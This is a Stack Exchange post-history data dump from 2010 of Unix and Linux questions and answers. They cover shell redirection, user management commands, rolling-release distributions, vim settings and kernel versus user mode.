  <row Id="1353" PostHistoryTypeId="2" PostId="735" RevisionGUID="1b6545a1-271d-45b3-a74a-cfecf9efc1b8" CreationDate="2010-08-18T21:56:56.700" UserId="125" Text="As Miguel de Icaza said in an earlier post: &quot;This functionality is desktop and window manager specific.&quot;&#xD;&#xA;&#xD;&#xA;In [KDE][1] [desktop environment][2] you can integrate sounds with desktop events, by going to Configure Desktop-&gt;Application and System Notifications (read [this][3])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kde.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Desktop_environment&#xD;&#xA;  [3]: http://docs.kde.org/cgi-bin/desktopdig/search.cgi?show=stable/en/kdebase-runtime/kcontrol/kcmnotify/index.html&amp;collection=en&amp;include=stable&amp;q=system%20notification" />
  <row Id="1354" PostHistoryTypeId="5" PostId="735" RevisionGUID="9bd93e69-87f3-4816-831a-091c964c4850" CreationDate="2010-08-18T22:02:36.650" UserId="125" Comment="added 4 characters in body" Text="As Miguel de Icaza said in an earlier post: &quot;This functionality is desktop and window manager specific.&quot;&#xD;&#xA;&#xD;&#xA;In [KDE][1] [desktop environment][2] you can integrate sounds with desktop events, by going to &#xD;&#xA;&#xD;&#xA;Configure Desktop-&gt;Application and System Notifications (read [this][3])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kde.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Desktop_environment&#xD;&#xA;  [3]: http://docs.kde.org/cgi-bin/desktopdig/search.cgi?show=stable/en/kdebase-runtime/kcontrol/kcmnotify/index.html&amp;collection=en&amp;include=stable&amp;q=system%20notification" />
  <row Id="1358" PostHistoryTypeId="2" PostId="737" RevisionGUID="c284c206-f247-478f-99b7-f2d8784b7d1b" CreationDate="2010-08-18T22:33:13.450" UserId="298" Text="Formatting a filesystem can also be faster than rm -rf'ing it.  Especially if you have thousands of small files to erase.  Squid cache you want to fully re-create... tons of image files that your need for processing but can be thrown away after the end result is created.  .obj files from huge compiles... etc.  " />
  <row Id="1359" PostHistoryTypeId="2" PostId="738" RevisionGUID="77dc5c1f-9d26-4b78-aac6-9c8dcecf8534" CreationDate="2010-08-18T22:59:30.407" UserId="455" Text="This is generally a terminal setting problem. Check your $TERM environment variable on the FreeBSD side, and check what your local terminal setting is. This is almost certainly the problem with the arrow keys.&#xD;&#xA;&#xD;&#xA;In addition to this, make sure you have the standard set of &quot;unbreak my vim&quot; .vimrc settings applied.&#xD;&#xA;&#xD;&#xA;    set nocompat&#xD;&#xA;    set backspace=eol,start,indent&#xD;&#xA;&#xD;&#xA;If you're sure the terminal settings are correct, but you're still having backspace issues, take a look at vim's help&#xD;&#xA;&#xD;&#xA;    :help fixdel" />
  <row Id="1360" PostHistoryTypeId="2" PostId="739" RevisionGUID="37e9400a-0866-401c-8d49-c4ed9320f487" CreationDate="2010-08-18T23:00:42.867" UserId="125" Text="1. `ps aux | grep java`&#xD;&#xA;2. You look for the Process ID(PID) of the process you want and then you use kill command (for how to use kill read my post [here][1]) &#xD;&#xA;&#xD;&#xA;Also read: [here][2] and [here][3] and [here][4]&#xD;&#xA;&#xD;&#xA;An alternative: `ps -fp $(pgrep -d, -x java)` or you might use [htop][5] or [top][6] and search for java&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/684/kill-java-doesnt-kill-java/710#710&#xD;&#xA;  [2]: http://ubuntuforums.org/showpost.php?p=1251234&amp;postcount=4&#xD;&#xA;  [3]: http://www.askdavetaylor.com/how_do_i_find_all_child_processes_in_unix.html&#xD;&#xA;  [4]: http://blogs.sun.com/jc/entry/kill_java_process&#xD;&#xA;  [5]: http://htop.sourceforge.net/&#xD;&#xA;  [6]: http://linux.die.net/man/1/top" />
  <row Id="1361" PostHistoryTypeId="2" PostId="740" RevisionGUID="4f23f319-39e2-4ea9-85ac-b96869f9d639" CreationDate="2010-08-18T23:14:46.510" UserId="391" Text="I was browsing [DistroWatch][1] and was looking for a list of distributions that offer rolling releases and a little bit more about them. However, it doesn't seem to be possible to select only the rolling releases on DistroWatch. Perhaps the Linux community can offer some insight into what distributions are available that offer rolling releases.&#xD;&#xA;&#xD;&#xA;I've made this question a community wiki with the hopes that I'll get one distribution per answer with a brief description of the distro and what it offers and a link to the distribution's home page and/or DistroWatch entry. Then, people can vote up/down the distributions to rate them in terms of something (best/worst, pure popularity).&#xD;&#xA;&#xD;&#xA;(Also, if someone can clean up the tags on this, that would be great. I wanted to create the &quot;rolling-release&quot; tag, but can't.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://distrowatch.com/" />
  <row Id="1362" PostHistoryTypeId="1" PostId="740" RevisionGUID="4f23f319-39e2-4ea9-85ac-b96869f9d639" CreationDate="2010-08-18T23:14:46.510" UserId="391" Text="What distributions have rolling releases?" />
  <row Id="1363" PostHistoryTypeId="3" PostId="740" RevisionGUID="4f23f319-39e2-4ea9-85ac-b96869f9d639" CreationDate="2010-08-18T23:14:46.510" UserId="391" Text="édistrosà" />
  <row Id="1364" PostHistoryTypeId="16" PostId="740" RevisionGUID="4f23f319-39e2-4ea9-85ac-b96869f9d639" CreationDate="2010-08-18T23:14:46.510" UserId="391" />
  <row Id="1365" PostHistoryTypeId="2" PostId="741" RevisionGUID="cf372e90-b282-406b-8c1a-19468235885b" CreationDate="2010-08-19T00:15:40.347" UserId="171" Text="Arch Linux&#xD;&#xA;&quot;Arch Linux is an independently-developed i686/x86-64 community distribution, based on a rolling-release model and targeted at competent GNU/Linux users which offers large binary repositories and full-featured package management as well as a ports-like packaging system. Development focuses on a balance of minimalism, elegance, code correctness and modernity. Version 0.1 (Homer) was released March 11, 2002. &quot; from the [Arch Linux wiki][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.archlinux.org/index.php/Arch_Linux .&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Arch wiki, download page are at  http://www.archlinux.org/" />
  <row Id="1366" PostHistoryTypeId="16" PostId="741" RevisionGUID="cf372e90-b282-406b-8c1a-19468235885b" CreationDate="2010-08-19T00:15:40.347" UserId="-1" />
  <row Id="1367" PostHistoryTypeId="2" PostId="742" RevisionGUID="5a26090a-d5a0-48a9-bc44-b0aa487da760" CreationDate="2010-08-19T00:34:17.737" UserId="29" Text="[Gentoo][1] is a source based linux distribution that will seemingly run on anything (as long as you're willing to compile it). It's package management system portage is based on FreeBSD's ports, and has a unique concept of use flags which allow you to customize how things are `configure`-ed easily as well as what files are installed and a few other things.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/" />
  <row Id="1368" PostHistoryTypeId="16" PostId="742" RevisionGUID="5a26090a-d5a0-48a9-bc44-b0aa487da760" CreationDate="2010-08-19T00:34:17.737" UserId="-1" />
  <row Id="1369" PostHistoryTypeId="5" PostId="742" RevisionGUID="60d91e3a-1f2c-42fa-86e6-b08def018dee" CreationDate="2010-08-19T00:40:51.810" UserId="29" Comment="update for sabayon and funtoo as they are derived from gentoo." Text="[Gentoo][1] is a source based linux distribution that will seemingly run on anything (as long as you're willing to compile it). It's package management system portage is based on FreeBSD's ports, and has a unique concept of use flags which allow you to customize how things are `configure`-ed easily as well as what files are installed and a few other things.&#xD;&#xA;&#xD;&#xA;Gentoo is a ... upstream distribution. Meaning that it is not derived from another distribution (e.g. like Ubuntu is derived from Debian, and Debian is the 'upstream distribution'). It has derived distributions that I'm aware of [Sabayon][2] and [Funtoo][3]. Sabayon is more release based, but can be converted to rolling. Funtoo is rolling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/&#xD;&#xA;  [2]: http://www.sabayon.org/&#xD;&#xA;  [3]: http://www.funtoo.org/" />
  <row Id="1370" PostHistoryTypeId="2" PostId="743" RevisionGUID="ab5b7ed6-8d46-4f8e-a1bd-21f76d785c33" CreationDate="2010-08-19T00:44:58.760" UserId="382" Text="You can also do more complex combinations (try these with `echo` instead of `mkdir` so there's no cleanup afterwards):&#xD;&#xA;&#xD;&#xA;Compare &#xD;&#xA;&#xD;&#xA;    $ echo pre-{{F..G},{3..4},{m..n}}-post&#xD;&#xA;    pre-F-post pre-G-post pre-3-post pre-4-post pre-m-post pre-n-post&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    $ eecho pre-{F..G}{3..4}{m..n}-post&#xD;&#xA;    pre-F3m-post pre-F3n-post pre-F4m-post pre-F4n-post pre-G3m-post pre-G3n-post&#xD;&#xA;    pre-G4m-post pre-G4n-post&#xD;&#xA;&#xD;&#xA;If you have Bash 4, try&#xD;&#xA;&#xD;&#xA;    $ echo file{0001..10}&#xD;&#xA;    file0001 file0002 file0003 file0004 file0005 file0006 file0007 file0008 file0009&#xD;&#xA;    file0010&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ echo file{0001..10..2}&#xD;&#xA;    file0001 file0003 file0005 file0007 file0009" />
  <row Id="1371" PostHistoryTypeId="2" PostId="744" RevisionGUID="1013101a-b058-4f88-9303-fabc379f6f72" CreationDate="2010-08-19T01:01:38.040" UserId="29" Text="I would recommend reading [Advanced Programming in a Unix Environment 2e][1] to learn a lot about the Single Unix Standard (SUS) API and POSIX, which will give you an idea about what makes Unix Unix and how the components work, and work together.&#xD;&#xA;&#xD;&#xA;However, it's a very C heavy book and more of a reference manual. If you have a problem with insomnia just take it to bed with you. That aside if you are a Unix C programmer it's a must have.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apuebook.com/" />
  <row Id="1372" PostHistoryTypeId="2" PostId="745" RevisionGUID="a7d93a7e-f046-4cb6-80ad-5ab345cc86eb" CreationDate="2010-08-19T01:01:42.220" UserId="621" Text="As the title says, I'm basically asking about user management from the command line (e.g. on a system where there are no graphical tools available). In the past I've used several different programs to add or delete users and groups or to modify their attributes: `adduser`, `useradd`, `usermod`, `gpasswd`, and perhaps others I've forgotten. I've also heard a couple times that some of these programs are low-level and should be avoided for general use, but I can never remember which. So I'd like to get a definitive answer for which programs are the recommended ones for at least the following tasks:&#xD;&#xA;&#xD;&#xA;- Create a new user&#xD;&#xA;- Add a user to a group&#xD;&#xA;- Remove a user from a group&#xD;&#xA;- Change a user's primary group&#xD;&#xA;- Change a user's login shell or home directory&#xD;&#xA;- Delete a user&#xD;&#xA;&#xD;&#xA;I'm looking for standard tools which I can expect to be available on pretty much any Linux system (of any distribution)." />
  <row Id="1373" PostHistoryTypeId="1" PostId="745" RevisionGUID="a7d93a7e-f046-4cb6-80ad-5ab345cc86eb" CreationDate="2010-08-19T01:01:42.220" UserId="621" Text="What is/are the standard CLI program(s) to manage users and groups?" />
  <row Id="1374" PostHistoryTypeId="3" PostId="745" RevisionGUID="a7d93a7e-f046-4cb6-80ad-5ab345cc86eb" CreationDate="2010-08-19T01:01:42.220" UserId="621" Text="élinuxàéusersàéutilitiesà" />
  <row Id="1375" PostHistoryTypeId="2" PostId="746" RevisionGUID="f9a87e50-1e2d-4113-ad30-50545c188f90" CreationDate="2010-08-19T01:43:51.593" UserId="393" Text="I know what&#xD;&#xA;&#xD;&#xA;      program &gt; /dev/null 2&gt;&amp;1 &#xD;&#xA;&#xD;&#xA;does. It redirects the output to `/dev/null` and `2&gt;&amp;1` means to redirect the error output in the same place where the output is sent.&#xD;&#xA;&#xD;&#xA;My problem is I always have to google it because I never remember it.&#xD;&#xA;&#xD;&#xA;So, I try `&amp;2&gt;1`, `1&gt;2&amp;`, `1&gt;&amp;2`... I try every combinaison until I google it...&#xD;&#xA;&#xD;&#xA;What's the trick to remember it easily ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1376" PostHistoryTypeId="1" PostId="746" RevisionGUID="f9a87e50-1e2d-4113-ad30-50545c188f90" CreationDate="2010-08-19T01:43:51.593" UserId="393" Text="How could I remember how to use redirection ?" />
  <row Id="1377" PostHistoryTypeId="3" PostId="746" RevisionGUID="f9a87e50-1e2d-4113-ad30-50545c188f90" CreationDate="2010-08-19T01:43:51.593" UserId="393" Text="éshellà" />
  <row Id="1378" PostHistoryTypeId="16" PostId="746" RevisionGUID="f9a87e50-1e2d-4113-ad30-50545c188f90" CreationDate="2010-08-19T01:43:51.593" UserId="393" />
  <row Id="1379" PostHistoryTypeId="2" PostId="747" RevisionGUID="205ecf28-05b5-419d-b633-2f1f8a17e8c8" CreationDate="2010-08-19T01:44:08.737" UserId="228" Text="Sadly, none of those operations were ever standardized.&#xD;&#xA;&#xD;&#xA;Some operating systems offer this functionality as part of the OS, like Linux, but even if your Linux system includes them, over time and across Linux distributions the tools and their names changed so you can not really depend on a standard set of tools to do those tasks.&#xD;&#xA;&#xD;&#xA;You need to have a per-operating system set of tools. " />
  <row Id="1380" PostHistoryTypeId="2" PostId="748" RevisionGUID="ba142214-8a1c-44cb-a62f-1eace057879e" CreationDate="2010-08-19T01:48:31.490" UserId="393" Text="The title says everything." />
  <row Id="1381" PostHistoryTypeId="1" PostId="748" RevisionGUID="ba142214-8a1c-44cb-a62f-1eace057879e" CreationDate="2010-08-19T01:48:31.490" UserId="393" Text="What does it mean when code is executed in [kernel|user] mode ?" />
  <row Id="1382" PostHistoryTypeId="3" PostId="748" RevisionGUID="ba142214-8a1c-44cb-a62f-1eace057879e" CreationDate="2010-08-19T01:48:31.490" UserId="393" Text="ékernelà" />
  <row Id="1383" PostHistoryTypeId="2" PostId="749" RevisionGUID="64bbb12e-b5ca-4ec5-a661-5dfc7bc6f322" CreationDate="2010-08-19T01:51:53.900" UserId="19" Text="I occasionally have to kill -9.  However, if this is happening regularly, you should fix the issue that is causing it.  Kill -9 means something is way off.&#xD;&#xA;&#xD;&#xA;In general, I only see this happen when you get yourself into serious memory thrash mode, which means you either need more system memory, or you're giving java too much memory when you start.  More commonly, though, especially if you're developing stuff, you can see this when you run out of &quot;PermGen&quot; memory.&#xD;&#xA;&#xD;&#xA;http://www.brokenbuild.com/blog/2006/08/04/java-jvm-gc-permgen-and-memory-options/&#xD;&#xA;&#xD;&#xA;In any case, it may be due to OutOfMemory errors of some sort." />
  <row Id="1384" PostHistoryTypeId="2" PostId="750" RevisionGUID="56aefd20-2454-43cf-99af-1002fe84bdf3" CreationDate="2010-08-19T02:03:54.463" UserId="160" Text="Output is better than error so it comes first (1 vs 2).&#xD;&#xA;&#xD;&#xA;`&gt;` is shorthand for 'goes to'.  On the left is what I want to send and on the right is where I want to send it.  Since 'where' is (almost) always a file, something like&#xD;&#xA;&#xD;&#xA;    program &gt; /dev/null 2&gt;1&#xD;&#xA;&#xD;&#xA;would redirect to a file named 1.  Thus, the ampersand modifies the file to file descriptor.&#xD;&#xA;&#xD;&#xA;Unfortunately, I haven't come across nor developed my own mnemonic, but when I was first learning *nix, I found this logical way to work well.  After a few run-throughs, it becomes second nature.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1385" PostHistoryTypeId="16" PostId="750" RevisionGUID="56aefd20-2454-43cf-99af-1002fe84bdf3" CreationDate="2010-08-19T02:03:54.463" UserId="-1" />
  <row Id="1386" PostHistoryTypeId="2" PostId="751" RevisionGUID="a6ddc981-8085-48cb-b111-f7906194e462" CreationDate="2010-08-19T02:06:37.063" UserId="54" Text="On Debian (and derived) systems, `adduser` and `deluser` are higher-level wrappers around `useradd` and related functionality. The cover user creation, group membership addition and subtraction, and user deletion. The corresponding commands from making/deleting groups are, sensibly enough, `addgroup` and `delgroup`. `usermod` appears to cover the remaining use case you name." />
  <row Id="1387" PostHistoryTypeId="2" PostId="752" RevisionGUID="d33ae71b-c607-4829-b754-1ac66a22235f" CreationDate="2010-08-19T02:09:58.363" UserId="54" Text="It's the distinction of whether the currently executing code is allowed to interact directly with various pieces of hardware. Kernel mode code can write to device buses, change memory mappings, switch running processes, and so forth. User mode can do computation, and it can make system calls into the kernel to interact with the rest of the world." />
  <row Id="1388" PostHistoryTypeId="2" PostId="753" RevisionGUID="bbe30f4b-4825-4464-bb8a-8a2e52c470fb" CreationDate="2010-08-19T02:20:00.557" UserId="160" Text="**Kernel Mode**&#xD;&#xA;&#xD;&#xA;A program running in this mode has full access to the underlying hardware.  It can execute any CPU instruction, access any memory address and essentially do anything it wants.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**User Mode**&#xD;&#xA;Code executing in this mode is restricted to hardware modification via the OS's API.  It *cannot* access the hardware directly *at all*.&#xD;&#xA;&#xD;&#xA;The interesting thing here is that on the common architectures, this is enforced via hardware--not just the OS.  In particular, the [x86 architecture](http://en.wikipedia.org/wiki/X86) has [protection rings](http://en.wikipedia.org/wiki/Ring_(computer_security).&#xD;&#xA;&#xD;&#xA;  The big advantage to this kind of separation is that when a program crashes running in user mode, it isn't always fatal.  In fact, on modern systems, it *usually* isn't. &#xD;&#xA;&#xD;&#xA;Check out [Jeff's](http://www.codinghorror.com/blog/2008/01/understanding-user-and-kernel-mode.html) writeup.  It's his usual good stuff." />
  <row Id="1389" PostHistoryTypeId="2" PostId="754" RevisionGUID="9099874d-1b14-4e86-b767-60d7ae75b1fc" CreationDate="2010-08-19T02:28:05.433" UserId="614" Text="In many situations, knowing how to edit &quot;/etc/passwd&quot; is still useful." />
  <row Id="1390" PostHistoryTypeId="2" PostId="755" RevisionGUID="7f1df9f7-0191-41ad-9e14-c2222163e4e3" CreationDate="2010-08-19T02:35:11.377" UserId="160" Text="You mention Linux in the last part of your question, but since the title is generic I'll answer for FreeBSD.&#xD;&#xA;&#xD;&#xA;FreeBSD has similar commands as Linux but they are commands passed to the `pw` utility: &#xD;&#xA;&#xD;&#xA;    pw useradd [user|uid] ...&#xD;&#xA;    pw usermod [user|uid] ...&#xD;&#xA;&#xD;&#xA;and so on.  However, one can parse the command into two parts: `user` and `mod`; a noun and an adjective.  Moreover, one can also use `group` and `del`:&#xD;&#xA;&#xD;&#xA;    pw groupdel [group|gid] ...&#xD;&#xA;&#xD;&#xA;to, for example, delete a group.  So here's what I think is really cool:  **the order doesn't matter, nor does the spacing!**  What this means, is that you can remember what to call by thinking about what you want to do (in English anyway):&#xD;&#xA;&#xD;&#xA;    pw del user [user|uid] ...&#xD;&#xA;    pw mod group [group|gid] ...&#xD;&#xA;    pw show user [user|uid] ...&#xD;&#xA;    pw next user [user|uid] ...&#xD;&#xA;&#xD;&#xA;and more!  The `pw` utility also lets you lock and unlock accounts:&#xD;&#xA;&#xD;&#xA;    pw lock [user|uid] ...&#xD;&#xA;    pw unlock [user|uid] ...&#xD;&#xA;&#xD;&#xA;Options and any parameters that you pass are all standardized (although don't always apply to call commands) so memorization is minimized.  All in all a nice way to do things.&#xD;&#xA;&#xD;&#xA;*Note:  the ellipses in the above examples represent options and paramters passed to `pw` not additional users or groups.*" />
  <row Id="1391" PostHistoryTypeId="2" PostId="756" RevisionGUID="f5a35dbc-8d01-4f8a-bb93-7ff1bb2590e8" CreationDate="2010-08-19T02:36:23.167" UserId="54" Text="Debian's Testing and Unstable ('Sid') branches can both function as rolling releases.&#xD;&#xA;&#xD;&#xA;I've run Sid as my desktop for many years, with regular package upgrades, and had problems with it less frequently than I would have had to do release upgrades. The 'unstable' moniker refers to the fact that package versions come and go as the distribution developers upload them. The individual pieces are almost always stable upstream releases or release candidates.&#xD;&#xA;&#xD;&#xA;The Testing branch acts as the staging ground for the Stable release. Packages migrate into it from Unstable if they don't pick up any release-critical bug reports after a delay period of a few days. It's generally a little bit behind on the latest versions of software, but users can trust that at least the brown-paper-bag bugs have been flushed out.&#xD;&#xA;&#xD;&#xA;Note that many Debian Developers run one or the other of these on their primary systems. This generally means that they're careful not to introduce packages that will break things, because there's an expectation that the system as a whole will work after upgrading. It has actually also led to complaints that the Developers don't care enough about Stable releases actually happening, because they're generally not users of Stable." />
  <row Id="1392" PostHistoryTypeId="16" PostId="756" RevisionGUID="f5a35dbc-8d01-4f8a-bb93-7ff1bb2590e8" CreationDate="2010-08-19T02:36:23.167" UserId="-1" />
  <row Id="1394" PostHistoryTypeId="2" PostId="758" RevisionGUID="b95093b7-8e82-460f-bcf1-dfd4f12e8c99" CreationDate="2010-08-19T03:07:20.193" UserId="614" Text="Actually, it depends on what shell you're using.  Bash is usually very forgiving and you can just do:&#xD;&#xA;&#xD;&#xA;    program &amp;&gt; file" />
  <row Id="1395" PostHistoryTypeId="16" PostId="758" RevisionGUID="b95093b7-8e82-460f-bcf1-dfd4f12e8c99" CreationDate="2010-08-19T03:07:20.193" UserId="-1" />
  <row Id="1397" PostHistoryTypeId="2" PostId="760" RevisionGUID="531d54aa-0a7a-4203-8d36-b3cc8adcc2b3" CreationDate="2010-08-19T03:23:42.530" UserId="635" Text="Duplicated here: http://ubuntu.stackexchange.com/questions/2163/nano-syntax-highlighting-for-c-and-or-asp-net" />
  <row Id="1398" PostHistoryTypeId="5" PostId="665" RevisionGUID="6b91274d-f5c2-4122-920a-1e15a1b3d0f2" CreationDate="2010-08-19T03:37:52.147" UserId="250" Comment="clarify question" Text="[MultiBootISOs][1] is a tool that let you install Grub on a USB flash drive. I really like it because it lets me boot from ISO files and let me put a bunch of ISOs on my USB and choose which one to boot.&#xD;&#xA;&#xD;&#xA;The problem is, this is a Windows tool, and I don't know how to do it through the command lines. I would also like to know how to install Grub (2) this way, Grub Legacy seems to be easier...&#xD;&#xA;&#xD;&#xA;EDIT: I'm not asking for a tool (and definitely not a Windows tool). I want to know the commands that I have to execute to have the same effects. I'm having Ubuntu in my mind right now, but if there is a general way that I can boot any ISO in the USB then that would be better.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pendrivelinux.com/boot-multiple-iso-from-usb-multiboot-usb/" />
  <row Id="1399" PostHistoryTypeId="2" PostId="761" RevisionGUID="e887b54e-f16d-47e3-a3ec-f3fadf0955c4" CreationDate="2010-08-19T03:42:33.660" UserId="4" Text="vi and CAPS-LOCK vs. /etc/passwd&#xD;&#xA;&#xD;&#xA;Long ago I was once viewing/editing /etc/password using vi on an old Solaris system.&#xD;&#xA;&#xD;&#xA;I inadvertently hit the CAPS-LOCK key and did not notice. I was on the first line of the file (for the root user) and tried to go down a line using the `j` key. Since caps were on, this became the capital `J` command-- &quot;Justify&quot;, or combine this line with the next line. This combined the lines for 'root' and 'daemon', and corrupted the password entry. I didn't notice my mistake, finished the rest of my edits and saved the file.&#xD;&#xA;&#xD;&#xA;As a result, the password entry for the 'root' user was corrupted. There was no root user, only UID == 0.&#xD;&#xA;&#xD;&#xA;Amazingly, the system remained functional for months. There were no obvious problems with root cronjobs or any processes owned by root. We didn't notice this problem until we rebooted the system months later.&#xD;&#xA;&#xD;&#xA;You could not log in as root, run `su` or `su -`, and there was no sudo on this box. There was no floppy drive, the CD-ROM was busted and no USB ports (so no external CD-ROM). Single user mode did not work.&#xD;&#xA;&#xD;&#xA;We eventually fixed it by breaking the RAID1 mirror, hooking it into another old Solaris box and editing the file there, then hooked it back into the original server and fixed the RAID1 mirror. That was a learning experience." />
  <row Id="1400" PostHistoryTypeId="16" PostId="761" RevisionGUID="e887b54e-f16d-47e3-a3ec-f3fadf0955c4" CreationDate="2010-08-19T03:42:33.660" UserId="-1" />
  <row Id="1401" PostHistoryTypeId="5" PostId="753" RevisionGUID="b9da283f-02f5-4a5c-a390-ee102f2cb15a" CreationDate="2010-08-19T03:46:52.803" UserId="160" Comment="fixed hyperlink" Text="**Kernel Mode**&#xD;&#xA;&#xD;&#xA;A program running in this mode has full access to the underlying hardware.  It can execute any CPU instruction, access any memory address and essentially do anything it wants.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**User Mode**&#xD;&#xA;Code executing in this mode is restricted to hardware modification via the OS's API.  It *cannot* access the hardware directly *at all*.&#xD;&#xA;&#xD;&#xA;The interesting thing here is that on the common architectures, this is enforced via hardware--not just the OS.  In particular, the [x86 architecture](http://en.wikipedia.org/wiki/X86) has [protection rings](http://en.wikipedia.org/wiki/Ring_(computer_security)).&#xD;&#xA;&#xD;&#xA;  The big advantage to this kind of separation is that when a program crashes running in user mode, it isn't always fatal.  In fact, on modern systems, it *usually* isn't. &#xD;&#xA;&#xD;&#xA;Check out [Jeff's](http://www.codinghorror.com/blog/2008/01/understanding-user-and-kernel-mode.html) writeup.  It's his usual good stuff." />
  <row Id="1402" PostHistoryTypeId="2" PostId="762" RevisionGUID="788741ec-7213-47d1-acf3-381782eafb66" CreationDate="2010-08-19T03:51:58.150" UserId="614" Text="If I've heard right Darwin, as released by Apple, no longer functions as an independent operating system, so I'd point out that the biggest difference it has is OS X on top of it.  :D&#xD;&#xA;&#xD;&#xA;Although the integration between the old Mac OS, new Mac OS X, and NeXT stuff is sometimes laughable, little utilities like **diskutil** and **hdiutil** are great.  Maybe it is some old Mach kernel architects left over from NeXT who use these little things and care about them who have made sure XCode such a good tool, too." />
  <row Id="1403" PostHistoryTypeId="5" PostId="761" RevisionGUID="fd46b5c1-2983-4614-b338-d1ea6e8ca1e5" CreationDate="2010-08-19T03:55:04.547" UserId="4" Comment="deleted 164 characters in body; added 36 characters in body" Text="vi and CAPS-LOCK vs. /etc/passwd&#xD;&#xA;&#xD;&#xA;0. Connect to an old Solaris box using and old serial terminal which doesn't refhresh the screen correctly.&#xD;&#xA;1. `su -`&#xD;&#xA;1. `vi /etc/passwd`&#xD;&#xA;2. Hit CAPS-LOCK key and don't notice.&#xD;&#xA;3. Hit 'j' a couple times to scroll down. Ignore the fact that you actually just typed `J` (&quot;Justify&quot;), which combines this line with the next line. The serial terminal screen was not refreshing correctly, so you didn't see that you just combined the first 5 lines into one Loooooong line, thereby corrupting the first 5 users ('root', 'daemon', etc).&#xD;&#xA;4. Finish your OTHER intended edits to the file, way down at the bottom.&#xD;&#xA;4. Save file.&#xD;&#xA;5. Log out.&#xD;&#xA;&#xD;&#xA;I did this once.  Amazingly, the system remained functional for months. Cronjobs ran fine, no errors stood out in the logfiles.&#xD;&#xA;&#xD;&#xA;We didn't notice this problem until we rebooted the system months later and couldn't log in at the console. `ps` showed a bunch of jobs owned by UID '0' not by user 'root'.&#xD;&#xA;&#xD;&#xA;You could not log in as root, run `su` or `su -`, and there was no sudo on this box. There was no floppy drive, the CD-ROM was busted and no USB ports (so no external CD-ROM). Single user mode did not work." />
  <row Id="1404" PostHistoryTypeId="2" PostId="763" RevisionGUID="0fc32a57-adf5-46eb-a5ac-dd4568a0ee45" CreationDate="2010-08-19T04:18:31.523" UserId="639" Text="In preparation to eventually launch my first website, I've been playing with Ubuntu Lucid Server in a VM on my WinXP machine. I've been alternating between the [Linode](http://library.linode.com/) and [Slicehost](http://articles.slicehost.com/) tutorials/articles for guidance, and I'm trying to make sense of the section on iptables.&#xD;&#xA;&#xD;&#xA;Slicehost's example can be found [here])http://articles.slicehost.com/assets/2007/9/4/iptables.txt). It seems deceptively simple to me, though. It's just a matter of locking down everything and punching very specific holes. When all other articles seem confusing and make iptables sound like a huge PITA, this example seems very straightforward (or at least, it seems that way once you know what the commands mean).&#xD;&#xA;&#xD;&#xA;Is this example suitable for a production server? Do the really complicated bits of iptables only really come up later?" />
  <row Id="1405" PostHistoryTypeId="1" PostId="763" RevisionGUID="0fc32a57-adf5-46eb-a5ac-dd4568a0ee45" CreationDate="2010-08-19T04:18:31.523" UserId="639" Text="Learning about iptables: Is this Slicehost example any good?" />
  <row Id="1406" PostHistoryTypeId="3" PostId="763" RevisionGUID="0fc32a57-adf5-46eb-a5ac-dd4568a0ee45" CreationDate="2010-08-19T04:18:31.523" UserId="639" Text="ésecurityàéfirewallà" />
  <row Id="1407" PostHistoryTypeId="2" PostId="764" RevisionGUID="8c983b01-668e-4f49-b81b-70a649c09f19" CreationDate="2010-08-19T04:21:42.317" UserId="614" Text="This reminds me, I need to use **[checkinstall][1]** more often!  That way I just do the usual&#xD;&#xA;&#xD;&#xA;     ./configure&#xD;&#xA;     make&#xD;&#xA;&#xD;&#xA;followed by&#xD;&#xA;&#xD;&#xA;     sudo checkinstall&#xD;&#xA;&#xD;&#xA;to create a **.deb** file...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxjournal.com/content/using-checkinstall-build-packages-source&#xD;&#xA;" />
  <row Id="1408" PostHistoryTypeId="2" PostId="765" RevisionGUID="64f56117-1995-48af-bbac-bbcf0bfb7f41" CreationDate="2010-08-19T04:30:18.550" UserId="614" Text="In Snow Leopard, at least, you can do this to show more information:&#xD;&#xA;&#xD;&#xA;    ls -l@&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1409" PostHistoryTypeId="5" PostId="763" RevisionGUID="7ab181d3-92c0-41f5-ac3d-8b2bd7edc750" CreationDate="2010-08-19T04:30:58.067" UserId="639" Comment="messed up a link.." Text="In preparation to eventually launch my first website, I've been playing with Ubuntu Lucid Server in a VM on my WinXP machine. I've been alternating between the [Linode](http://library.linode.com/) and [Slicehost](http://articles.slicehost.com/) tutorials/articles for guidance, and I'm trying to make sense of the section on iptables.&#xD;&#xA;&#xD;&#xA;Slicehost's example can be found [here](http://articles.slicehost.com/assets/2007/9/4/iptables.txt). It seems deceptively simple to me, though. It's just a matter of locking down everything and punching very specific holes. When all other articles seem confusing and make iptables sound like a huge PITA, this example seems very straightforward (or at least, it seems that way once you know what the commands mean).&#xD;&#xA;&#xD;&#xA;Is this example suitable for a production server? Do the really complicated bits of iptables only really come up later?" />
  <row Id="1410" PostHistoryTypeId="2" PostId="766" RevisionGUID="9388ffaf-d405-4bb5-9a17-0c5b30052d23" CreationDate="2010-08-19T04:32:24.913" UserId="183" Text="All of these tools are ultimately built to edit text files for you.  If you want to know how to manage users and groups over systems, you should get familiar with these underlying text files.  Lucky for you, there's just two of them, `/etc/passwd` and `/etc/group`." />
